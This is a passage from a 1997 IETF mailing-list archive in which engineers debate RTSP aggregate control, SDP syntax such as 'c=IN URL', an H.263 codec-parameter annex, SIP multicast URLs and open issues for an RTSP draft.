> do have a URL.
>

OK. (but I will shed a tear for it though :) .It is a tradeoff between
mapping of the URL to the filesystem on the server side, versus a fairly
simple check on the client side. What do others think about this
particular issue ?

> > B) If aggregate control is not possible, a media-level a=stream-url:
>
> > field with an absolute URL will exist for each stream. The semantics
> of
> > the URL within this  field are unambiguous. The request for the URI
> goes
> > to the server specified in the URL.
>
> Fine.  We don't need two different attributes (a=stream and
> a=stream-url) to signal the difference between aggregate and
> non-aggregate control since the presence of the aggregate URL at the
> session does that.

Agreed. Pending c= discussion.

> > Explanation on step 2 for both cases:
> > This is a simplifying assumption.  It may even be argued that the
> SDP
> > file should *always* contain the media initialization
> information,and
> > therefore DESCRIBEs are never necessary.  However, allowing the
> DESCRIBE
> > here  accomodates the case where the media initialization info needs
> to
> > come from the location of the media resource itself(and that
> location is
> > not the source of the first SDP file).
>
> Right.  In particular, the first SDP file might consist of only the
> minimum more than the aggregate URL, with no media information at all.

However,  I think such a file should not guarantee aggregate control.
(ie. in that sense it is a presentation URL, but not an aggregate URL).
ie. such a URL should preferably  have an identifier other than the one
used in a description that does have the m= sections. There are cases
where one may convey the presense of a RTSP presentation(as using SDPs
time fields that says when it is available), but the presentation may or
may not be aggregately controlled.

Example(typically retreived by non-RTSP means)

t= on 11th sept between 6 and 7 pm
a=something: rtsp://foo.com/todays-presentation

describe rtsp://foo.com/todays-presentation may result in

m=
a=source:rtsp://foo.com/presentations/audio
m=
a=source:rtsp://foo.com/presentations/video

(Regardless, I have to add this case i.e only single URL  to the "steps"
below and will do so).


> The more significant question we were discussing before was whether a
> DESCRIBE on an aggregate URL could return stream URLs that reference a
>
> different host, that is, whether or not to allow indirection.  In your
>
> proposal here, you've precluded that possibility by forcing the stream
>
> URLs under an aggregate URL to be relative.  So, that is putting the
> restriction in the protocol that indirection is not allowed.  Fine.

That intention  was not clear to me earlier(ie. discussion of
indirection only in DESCRIBE responses for aggregate URLs).




--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (650) 937 3129
-----------------------------------------------------------------



From majordom@ISI.EDU  Thu Sep 11 18:22:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29876>; Fri, 12 Sep 1997 01:18:54 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29863>; Fri, 12 Sep 1997 01:18:52 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA29032
	for <confctrl@ISI.EDU>; Fri, 12 Sep 1997 01:18:51 -0700 (PDT)
Received: from revelstoke.precept.com (port0.precept.com [204.162.119.50])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id BAA20174;
	Fri, 12 Sep 1997 01:18:13 -0700 (PDT)
Date: Fri, 12 Sep 1997 01:22:32 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: Anup Rao <anup@netscape.com>
Cc: mmusicwg <confctrl@ISI.EDU>, Rob Lanphier <robla@prognet.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: Indirection, aggregation in SDP/RTSP - reaching closure
In-Reply-To: <3418CF96.F71055B8@netscape.com>
Message-Id: <Pine.PCW.3.95.970912005319.11462E-100000@revelstoke.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anup,

> > So, perhaps the answer you
> > intended for my question above is that a session in which all of the
> > streams are under RTSP control is an RTSP presentation, but otherwise
> > not.
> 
> Thats what I meant, yes.

As I've pointed out, that is different from the definition of an RTSP
presentation in the spec.  There, a presentation implies aggregate
control.  I think we may want to keep it that way.  See below...

> > On the other hand, one could also identify an RTSP presentation by the
> > presence of an RTSP URL for streams.  Even if the SDP file passed the
> > 1-bit test for our hypothetical client, the client will still have to
> > verify that it has a URL for each stream.  So I haven't figured out
> > yet what good the session-level attribute would provide.
> 
> It seperates out the two  cases  when the lack of rtsp url for one of
> the media is accidental,   and that when it is deliberate.

This seems like a somewhat weak motivation for adding the
session-level attribute.  After all, that attribute could also be
accidentally omitted.  My vote is to just not include it.

> Ideal response : there is something wrong with the file.
...
> Ideal response : I cannot handle this file, its out of my
> league.

How significant is the difference in these responses?

> > Right.  In particular, the first SDP file might consist of only the
> > minimum more than the aggregate URL, with no media information at all.
> 
> However,  I think such a file should not guarantee aggregate control.
> (ie. in that sense it is a presentation URL, but not an aggregate URL).
> ie. such a URL should preferably  have an identifier other than the one
> used in a description that does have the m= sections. There are cases
> where one may convey the presense of a RTSP presentation(as using SDPs
> time fields that says when it is available), but the presentation may or
> may not be aggregately controlled.

I'm bothered by the change in definition of an RTSP presentation to
not imply aggregate control.  Although the protocol has gone through
some transformations as we've discussed aggregate control over the
last couple of months, we still have the notion that an RTSP URL maps
to a single RTSP session.  (With aggregate control, multiple URLs may
be used within one RTSP session for individual stream setup and
control, but one RTSP URL never results in the creation of more than
one RTSP session.)  If you want to have an RTSP URL return a DESCRIBE
response without an aggregate URL but with multiple stream URLs, then
this property is broken.

On the other hand, having an HTTP URL point to an SDP file with
multiple RTSP stream URLs and no aggregate control seems OK.  Maybe
that seems like a fine distinction, but it's also a distinction we
upheld for the case where the stream URLs are on different hosts (we
won't allow that in a DESCRIBE response now).  Having the DESCRIBE
response cause the creation of multiple RTSP sessions seems akin to
indirection.
							-- Steve


From majordom@ISI.EDU  Fri Sep 12 13:36:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00247>; Fri, 12 Sep 1997 01:34:53 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00241>; Fri, 12 Sep 1997 01:34:52 -0700
Received: from ns10.nokia.com (ns10.nokia.com [131.228.6.229])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA29294
	for <confctrl@isi.edu>; Fri, 12 Sep 1997 01:34:48 -0700 (PDT)
Received: from pepper.research.nokia.com (pepper.research.nokia.com [131.228.12.3]) by ns10.nokia.com (8.8.5/8.6.9) with SMTP id LAA00991 for <confctrl@isi.edu>; Fri, 12 Sep 1997 11:34:16 +0300 (EET DST)
Received: (from smap@localhost) by pepper.research.nokia.com (8.6.13/8.6.13) id LAA20435; Fri, 12 Sep 1997 11:34:12 +0300
Received: from nrchub01he.research.nokia.com(131.228.10.247) by pepper.research.nokia.com via smap (V1.3)
	id sma020421; Fri Sep 12 11:33:40 1997
Received: from Microsoft Mail (PU Serial #1751)
  by nrchub01he.research.nokia.com (PostalUnion/SMTP(tm) v2.1.9g for Windows NT(tm))
  id AA-1997Sep12.112945.1751.1063168; Fri, 12 Sep 1997 11:36:09 +0200
From: petri.koskelainen@research.nokia.com (Koskelainen Petri NRC/Tre)
To: confctrl@ISI.EDU ('confctrl@isi.edu'), rem-conf@es.net ('rem-conf@es.net')
Message-Id: <1997Sep12.112945.1751.1063168@nrchub01he.research.nokia.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Date: Fri, 12 Sep 1997 11:36:09 +0200
Subject: SDP format for H.263 options
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi,

Currently it is not possible to specify any codec specific options
in SIP/SDP architecture. For example, H.263 has many options and
parameters which are almost mandatory (it makes no sense to say
"lets use H.263" without knowledge of its capabilities).

Best place to include these codec specific parameters in SDP is:
a=fmtp:<format> <format specific parameters>

So, these format speficic parameters must be defined somewhere
and it seems (like Henning proposed) that the best place to do it,
is in corresponding RTP mapping draft as an annex.
Another solution is to make new internet-draft (for every codec).

Below is a proposal for H.263 SDP format specific parameter mapping,
to be included into "RTP Payload Format for H.263 Video Streams" draft.

This proposal assumes:
(needs to be said also in the SIP draft)

In the case of SIP, these codec options mean decoder capabilities.
The idea is, that when making an INVITE, it includes the codec (H.263) and
those codec options (e.g. SAC, PB-frames) which are decodeable by
this decoder.


Example excerpt from SIP INVITE message:
...
m=video 55514 RTP/AVP 34
a=fmtp 34 CIF=4 QCIF=2/MaxBitRate=1000/SAC/AP

Syntax above means that H.263 codec with preferred picture size of CIF (with 
min picture interval of 4) and secondary picture size is QCIF and arithmetic 
coding and advance prediction are in use and max bitrate decoable by decoder 
is 100 kbit/s.

If caller does not want to receive all options (perhaps because
his pc is a slow 486) then he just tells what options he wishes to receive.

Other end, may (or may not) use them in the encoder.


Any comments about mapping or the right place to define these ?

 --------------------------------------- clip clip----------------------


                              Harri Honko
                              Petri Koskelainen
                              Jouni Salonen
                              Nokia Research Center


ANNEX A  (in "RTP payload format for H.263 video")

SDP syntax for H.263 video

This annex defines the SDP [2] syntax for H.263 codec options
and parameters. It is often useful to know beforehand (in call setup phase)
what features of H.263 the other end supports. This annex defines
the <format spefic parameters> for H.263, which exists in
a=fmtp:<format> <format specific parameters> as defined in the SDP document.
Actual usage and negotiation of attributes is specified in SIP [3] and SAP 
[4] documents. These options are especially useful in SIP.  In SAP it is not 
clear whether they have any use.
In SIP, these format specific parameters are decoder properties, and in SAP 
they are encoder capabilities.  The SAP rules are applied also if a 
multicast session is advertized in a web page in SDP format.

Following text assumes that SIP is used. In the end of this annex, there is 
a short chapter which discusses how these options and parameters are used 
with SAP.

A.1 H.263 Codec Options
Following words describe 4 options defined for H.263. Later versions
of H.263 (e.g. so called H.263+, currently a ITU-T draft) defines more 
options and they should be specified later for SDP. These options are 
separated by single slash ("/") between them.

For further description about these parameters, please refer to
ITU documents [1].

Word: URV
Explanation: UnRestricted motion Vector option.

Word: SAC
Explanation: Syntax based Arithmetic Coding.

Word: AP
Explanation: Advanced Prediction.

Word: PB
Explanation: PB Frames.

These words exist only if the sender of this SDP message is able or willing 
to decode those. E.g. If a terminal is capable of decoding SAC and AP 
options, it can put SAC/AP in the beginning of <format specific parameters>. 
Then the other party knows it, and can use those options in its encoder.



A.2 Other H.263 codec parameters

This chapter describes parameters in H.263 to be used with SIP

Supported picture sizes and their corresponding minimum picture interval 
(MPI) information can be combined. All picture sizes can be advertised to 
other party, or only some subset of it.  Terminal announces only those 
picture sizes (with their MPIs) which it is willing to receive.
MPI is an integer value (1..32) and it means that maximum picture (frame) 
rate is  29.97/MPI value/s. MPI value may be bigger, meaning that picture 
rate is slower. For example, MPI=2 means that maximum (decodeable) picture 
rate per sec is about 15.

Parameter occurring first is the preferred picture mode to be received, and 
last is the least preferred (but still supported) one. Following words are 
presented with no slash ("/") symbol between them, and are separated by 
space.

Following words are present in SDP list only if a terminal is willing to 
decode the picture size. If terminal is not willing to receive some size, it 
is not present in the list.

Word: SQCIF=MPI(1..32)
Explanation: SQCIF picture size and its MPI value. Means that sender can 
decode SQCIF resolution with this MPI value.

Word: QCIF=MPI(1..32)
Explanation:  QCIF picture size and its MPI value. Means that sender can 
decode QCIF resolution with this MPI value.

Word: CIF=MPI(1..32)
Explanation: CIF picture size and its MPI value. If present, means that 
sender can decode CIF  resolution with this MPI value.

Word: CIF4=MPI(1..32)
Explanation: CIF4 picture size and its MPI value. If present, means that 
sender can decode this resolution with this MPI value.

Word: CIF16=MPI(1..32)
Explanation: CIF16 picture size and its MPI value. If present, means that 
sender can decode this resolution with this MPI value.

Word: XMAX=maximum_x_size YMAX=maximum_y_size MPI=MPI(1..32)
This list of  words means that terminal is capable and willing to receive 
arbitrary picture sizes. These X and Y values are the maximum of allowed 
picture sizes with corresponding MPI value. All these three words must exist 
together in this order, or none is allowed to exist. Both picture sizes must 
be divisible by 4.

Example of the usage of these words:

CIF=4  QCIF=3 SQCIF=2 XMAX=360 YMAX=240 MPI=2

This means that sender hopes to receive CIF picture size, which it can
decode at MPI=4. If that is not possible, then QCIF with MPI value 3, if 
that is neither possible, then SQCIF with MPI value =2.  It is also allowed 
(but least preferred) to send arbitrary picture sizes (max 360x240) with 
MPI=2.
Note that most encoders support at least QCIF and CIF fixed resolutions and 
they are expected to be available almost in every H.263-based video 
application.


Following two parameters are used only with SIP.

MaxBitRate=INTEGER(1..19200)
Explanation: maximum video stream bitrate receivable by the sending 
terminals H.263 decoder, presented at 100 bits/s.

BitsPerPictureMaxKb=INTEGER(0..65536)
Explanation: Maximum amount of kilobits allowed to represent a single 
picture frame, value is specified by largest supported picture resolution, 
see [1]. If  this parameter is not present, then default value, that is 
based on the maximum supported resolution, is used.


All these parameters must be presented in SDP a=fmtp line exactly in this 
order if they are present.


Example: (in SIP)
a=fmtp 34 CIF=4 QCIF=2/MaxBitRate=1000/SAC/AP

This means that the sender of this message can decode H.263 (RTP payload 
type 34) bitstream with following options and parameters:
Preferred resolution is CIF (its MPI is 4), but if that is not possible then
QCIF size is ok. Maximum receivable bitrate is 100 kbit/s (1000*100 bit/s) 
and SAC and AP options can be used.



A.3 Use of SDP H.263 options and parameters with SAP

SAP announcements are one-way only. H.263 options (like SAC) mean that 
sending terminal (host) is going to use these options in its transmitted 
H.263 stream. It is just an informal message.

Usually only one picture size (with its MPI) exists. However, since it is 
possible for a video source (terminal) to change its picture size during 
session, several picture sizes can exist in the parameter list. First one is 
the original picture size to be used in the beginning of the session.
Other H.263 parameters are not used with SAP (nor when announced in 
web-page).


Example (with SAP):
a=fmtp 34 CIF=2 URV/SAC

The video source is sending an H.263 bitstream and picture size is CIF, 
MPI=2 and URV and SAC options are used. This kind of announcement can be 
used, e.g., in the MBone.


Authors' Addresses

Harri Honko, Petri Koskelainen, Jouni Salonen
Nokia Research Center
P.O.Box 100
FIN-33721 Tampere
Finland
e-mail:
harri.honko@research.nokia.com,
petri koskelainen@research.nokia.com,
jouni.salonen@research.nokia.com



 References:

 [1]  International Telecommunication Union.
 Video Coding for Low Bitrate Communication, ITU-T Recommendation  H.263, 
1996

 [2]  Handley et al, ``SDP - Session Description Protocol'', INTERNET-DRAFT, 
 IETF 1997.

 [3]  Handley et al, ``SIP - Session Initiation  Protocol'',
 INTERNET-DRAFT, IETF 1997.

[4]  ``SAP - Session Announcement  Protocol'',
 INTERNET-DRAFT, IETF 1997.





From majordom@ISI.EDU  Fri Sep 12 03:25:49 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA15116>; Fri, 12 Sep 1997 10:25:54 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA15110>; Fri, 12 Sep 1997 10:25:53 -0700
Received: from mail1.microsoft.com (mail1.microsoft.com [131.107.3.41])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA11810
	for <confctrl@isi.edu>; Fri, 12 Sep 1997 10:25:52 -0700 (PDT)
Received: by INET-01-IMC with Internet Mail Service (5.0.1459.27)
	id <SR4CXP5G>; Fri, 12 Sep 1997 10:25:53 -0700
Message-Id: <114DB67712DCD011A63500805F385DB28E4994@RED-38-MSG.dns.microsoft.com>
From: Kaya Bekiroglu <t-kayab@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl>
Subject: SIP URLs and multicast sessions - a question
Date: Fri, 12 Sep 1997 10:25:49 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1459.27)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I don't quite understand a passage in the latest draft of the SIP
specification.  On page 22, this example SIP URL is given:

	For example, to specify to call j.doe@big.com using multicast to
239.255.255.1 with a ttl of 15, the following URL would be used:

	sip://j.doe@big.com;maddr=239.255.255.1;ttl=15

My understanding from this specification is that a URL with a multicast
parameter (such as the one above) can only be used to INITIATE a
multicast conference.  Is there any mechanism in SIP to allow a URL,
perhaps embedded in a web page, to give enough information to allow a
user to join an already existing multicast conference?  I would assume
the answer is no, since SDP descriptors cannot be contained in a SIP
URL.  Is this true?  Can the OPTIONS command, sent to a multicast
address, be used to query the other participants for the common media
for the conference in question (assuming the user can authenticate
himself to a conference participants satisfaction)?  This would seem to
me to be a reasonable addition to the protocol.

Any information would be greatly appreciated.

---
Kaya Bekiroglu
Program Manager, TAPI 3.0
Windows NT Networking

From majordom@ISI.EDU  Fri Sep 12 04:44:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA19806>; Fri, 12 Sep 1997 11:45:14 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA19800>; Fri, 12 Sep 1997 11:45:13 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA16247
	for <confctrl@ISI.EDU>; Fri, 12 Sep 1997 11:45:12 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA13049
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Fri, 12 Sep 1997 11:45:05 -0700
Message-Id: <3.0.3.32.19970912114445.0185b52c@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Fri, 12 Sep 1997 11:44:45 -0700
To: Stephen Casner <casner@precept.com>, mjh@east.isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Re: "c=IN URL" at media level
Cc: confctrl
In-Reply-To: <Pine.WNT.3.95.970911104642.-367813F-100000@oak.precept.com
 >
References: <3.0.3.32.19970911000805.017c4a4c@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Steve,

I guess I'm ok with your reasoning, but I'd like Mark's input.  My
hesitations is that I'm wondering if there are there precedence problems
with having both an RTSP URL, and a direct connection multicast address.

Rob

At 11:56 AM 9/11/97 -0700, Stephen Casner wrote:
>Rob,
>
>> I must not have been clear enough here.  I withdraw my suggestion to
>> overload "c=" at the session level for signalling RTSP stream aggregation
>> (1-1-n).  Let's drop this debate, because it is getting confused whether
>> "c=IN URL" should be used at the media level, which I'm in favor of (and
>> Mark seems to be as well, in lieu a good case against it).
>
>In addition to the reasons I've listed earlier for objecting to c=IN
>URL, in thinking about how the various issues being discussed fit
>together, I find the following reasoning:
>
>  - Agreed that using c=IN URL at the session level is bad.
>
>  - As in Anup's message (a reply to that shortly), we need to specify
>    a presentation URL at the session level as well as stream URLs at
>    the media level.
>
>  - I would like the syntax for specifying the URLs at both level to
>    be the same.
>
>  => c=IN URL at the media level is bad.
>
>> The reason why is that the "c=" line *really* says "here's a rendezvous
>> point for getting this stream" (regardless of whether you call it a source
>> or a destination).  In the case of "c=IN IP4 <multicast address>/<params>",
>> this means that the rendezvous point is a multicast address that the sender
>> is streaming to.  This could potentially be rewritten (if you're a glutton
>> for punishment) as "c=IN URL multicast://224.2.0.1/ttl=127/addresses=3".
>
>That's a nice round of semantic maneuvering, but I am unconvinced.  I
>think the URL is a different kind of information than a transport
>address.  That's why I mentioned the "a=source:" that Precept is
>using.  I'm not suggesting that this should be adopted, but there is a
>need for some SDP applications to specify what data is supposed to be
>flowing over the session, e.g., to provide instruction to the server.
>It's like "the other end of the connection", if you will, whether it
>is a camera selection, or the file that is supposed to be streamed
>out, or a file that the stream should be recorded into.  I see the
>RTSP URL as being a similar requirement.
>
>> I don't want this to erupt into an argument over the virtues/errors in
>> having an multicast url syntax, but my point is that "c=" really does make
>> sense to put the URL in.
>
>I disagree because, again, I see these as two kinds of information.
>Do you accept that in some instances we will want to have SDP files
>that specify both addressing and file information? Jeff Smith's
>example was SIP, but another example is an SDP to tell a multicast
>server what to play and where to stream it.  Now consider a generic
>SDP parsing object which sees a list of c=IN IP4 lines to specify the
>multicast addresses for a layered encoding, and then a c=IN URL line.
>I think you'd want to have different methods for getting these two
>kinds of information.  Yes, the parser can split the information apart
>based on IP4 vs URL, but I think that is a level down from the point
>where the split should happen.  When you're running both IP4 and IP6,
>my guess is you'd want both of those to be returned by the address()
>method, carrying the appropriate typing with them, but you'd want the
>URL return by the source() method (there's probably a better name).
>
>> Furthermore, not using "c=" for URLs begs the
>> question: "if you don't put the URL in c=, what *do* you put there".
>
>I think that is the main reason why c=IN URL came to be.  My answer
>is that there may not be anything we need to put there.  I suggest
>that we have some null form of the c= line which says "you need to get
>the addressing elsewhere".  Perhaps, in fact, a session-level null c=
>should be the explicit indicator of an "RTSP-SDP" file that Anup's
>message proposes.
>
>> For folks who suggest that it is possible to have a useful situation where
>> a node can act as an RTSP client and pass through the SDP untouched to a
>> non-RTSP entity, please spell out that situation so that I can understand
>> it (preferably with examples), 'cause I'm just not getting it.
>
>That isn't necessarily the scenario I had in mind, but may be what
>Jeff Smith was talking about.
>							-- Steve
>
>
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Fri Sep 12 11:05:21 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA21145>; Fri, 12 Sep 1997 12:08:00 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA21136>; Fri, 12 Sep 1997 12:07:58 -0700
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA17388
	for <confctrl@ISI.EDU>; Fri, 12 Sep 1997 12:07:57 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id PAA29157; Fri, 12 Sep 1997 15:05:21 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Rob Lanphier <robla@prognet.com>
Cc: Stephen Casner <casner@precept.com>, confctrl
Subject: Re: "c=IN URL" at media level 
In-Reply-To: Your message of "Fri, 12 Sep 1997 11:44:45 PDT."
             <3.0.3.32.19970912114445.0185b52c@mail.prognet.com> 
Date: Fri, 12 Sep 1997 15:05:21 -0400
Message-Id: <29155.874091121@north.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>I guess I'm ok with your reasoning, but I'd like Mark's input.  My
>hesitations is that I'm wondering if there are there precedence problems
>with having both an RTSP URL, and a direct connection multicast address.

I haven't been able to devote as much time to following this issue as
I'd like, but it seems like this is the first strong case in a couple
of years for adding a new SDP *field* defined to mean a per-media
control channel.  Probably we could change the SDP spec to allow
either a control channel, a data channel or both to be allowed, so
that RTSP doesn't need to include a null "c=" field when the control
channel is used to give the data channel parameters.

There may be some issues here with the standards track process, but I
don't think this should be a big deal so long as the RTSP spec
indicates which version of SDP is assumed.

I haven't though through this properly, so don't know what the syntax
should be though.  Suggestions?

Mark

From majordom@ISI.EDU  Fri Sep 12 05:36:43 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA22709>; Fri, 12 Sep 1997 12:37:08 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA22702>; Fri, 12 Sep 1997 12:37:07 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA18849
	for <confctrl@isi.edu>; Fri, 12 Sep 1997 12:37:06 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA19037
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 12 Sep 1997 12:37:05 -0700
Message-Id: <3.0.3.32.19970912123643.018629a4@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Fri, 12 Sep 1997 12:36:43 -0700
To: confctrl
From: Rob Lanphier <robla@prognet.com>
Subject: 9/12 Open Issues for draft04
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

With Henning out of town and the SDP syntax still in flux, I think we
should defer until Monday on the draft.  Let's get that issue hammered out
so that we can get something in the spec.

Here's the rundown:


      1. Review Changes of the Draft 
         a. Transport-Info field 

Closed (in private discussion)

This field will change to "RTP-Info", which will be substantively the same
as Transport-Info is now, except specific to RTP.  This will reduce
confusion with the "Transport" field (which will remain Transport) and
allow different syntax for different transports, since this is all
genuinely RTP-specific information in this field.

We'll consider reopening this if there is a compelling reason, but for
draft04 purposes, it's closed.

         b & e. 1-1-n & Use of SDP within RTSP
Open.  To be closed on Monday.  I'll send out an updated version of this
later.

         c. PEP-Protocol Extention Protocol 

Closed.  We will bring back the "Require:" field from draft02 for basic
options negotiation.

         d. ANNOUNCE method 

Closed.  It's in to stay.

         f. Sequence number moved to the header fields 

Closed.  We'll move it down to a new field called "CSeq" (control sequence)
in the header.  I'm avoiding calling this "Sequence" because that term is
so overloaded here.  Having a new term will only clash with the word
"seasick", and I don't think that's a commonly used protocol term :)

         g. Port number spec 

Closed.  We'll put the ranges in there, with the understanding that it's
not an excuse to break the RTP model.

      2. New Business 
         a. Allow change of Transport 

Closed.  No.

         b. Release Scheudule 

We're slipping.... Let's pull this in this week.

         c. Interoperability test gathering 

October 16-17 is the set of dates in Seattle.  If you anticipate having
RTSP code running by then and would like to show up, RSVP to me ASAP.  TYVM
(Thank you very much).  More dates to come.

         d. Documentation issues

I never composed a mail on this, so it was never discussed.  However, these
issues were resolved.  We now have a section for minimal complience and a
section for SDP usage in the current doc.
 
Rob


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Fri Sep 12 05:55:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA24095>; Fri, 12 Sep 1997 13:00:53 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA24089>; Fri, 12 Sep 1997 13:00:52 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com [204.162.36.254])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA20001
	for <confctrl@ISI.EDU>; Fri, 12 Sep 1997 13:00:51 -0700 (PDT)
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id NAA07714; Fri, 12 Sep 1997 13:00:18 -0700 (PDT)
Message-Id: <199709122000.NAA07714@mailhost.nttlabs.com>
To: Kaya Bekiroglu <t-kayab@microsoft.com>
Cc: "'confctrl@isi.edu'" <confctrl>
Subject: Re: SIP URLs and multicast sessions - a question 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Fri, 12 Sep 1997 10:25:49 PDT"
References: <114DB67712DCD011A63500805F385DB28E4994@RED-38-MSG.dns.microsoft.com> 
Date: Fri, 12 Sep 1997 12:55:42 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

You can make an http accessible object with contents of SDP.  A helper
application can be used to parse the MIME type (x-sdp or something)
and launch your conferencing tools.

No need for SIP.  I think this is how Precept and others are already
doing their web-based program guides.

js

|
|I don't quite understand a passage in the latest draft of the SIP
|specification.  On page 22, this example SIP URL is given:
|
|	For example, to specify to call j.doe@big.com using multicast to
|239.255.255.1 with a ttl of 15, the following URL would be used:
|
|	sip://j.doe@big.com;maddr=239.255.255.1;ttl=15
|
|My understanding from this specification is that a URL with a multicast
|parameter (such as the one above) can only be used to INITIATE a
|multicast conference.  Is there any mechanism in SIP to allow a URL,
|perhaps embedded in a web page, to give enough information to allow a
|user to join an already existing multicast conference?  I would assume
|the answer is no, since SDP descriptors cannot be contained in a SIP
|URL.  Is this true?  Can the OPTIONS command, sent to a multicast
|address, be used to query the other participants for the common media
|for the conference in question (assuming the user can authenticate
|himself to a conference participants satisfaction)?  This would seem to
|me to be a reasonable addition to the protocol.
|
|Any information would be greatly appreciated.
|
|---
|Kaya Bekiroglu
|Program Manager, TAPI 3.0
|Windows NT Networking
|


From majordom@ISI.EDU  Fri Sep 12 08:28:27 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA05067>; Fri, 12 Sep 1997 15:30:26 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-28)
	id <AA05024>; Fri, 12 Sep 1997 15:30:14 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA27534
	for <confctrl@ISI.EDU>; Fri, 12 Sep 1997 15:30:13 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id PAA23235;
	Fri, 12 Sep 1997 15:28:59 -0700 (PDT)
Date: Fri, 12 Sep 1997 15:28:27 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Rob Lanphier <robla@prognet.com>
Cc: mjh@east.isi.edu, confctrl
Subject: Re: "c=IN URL" at media level
In-Reply-To: <3.0.3.32.19970912114445.0185b52c@mail.prognet.com>
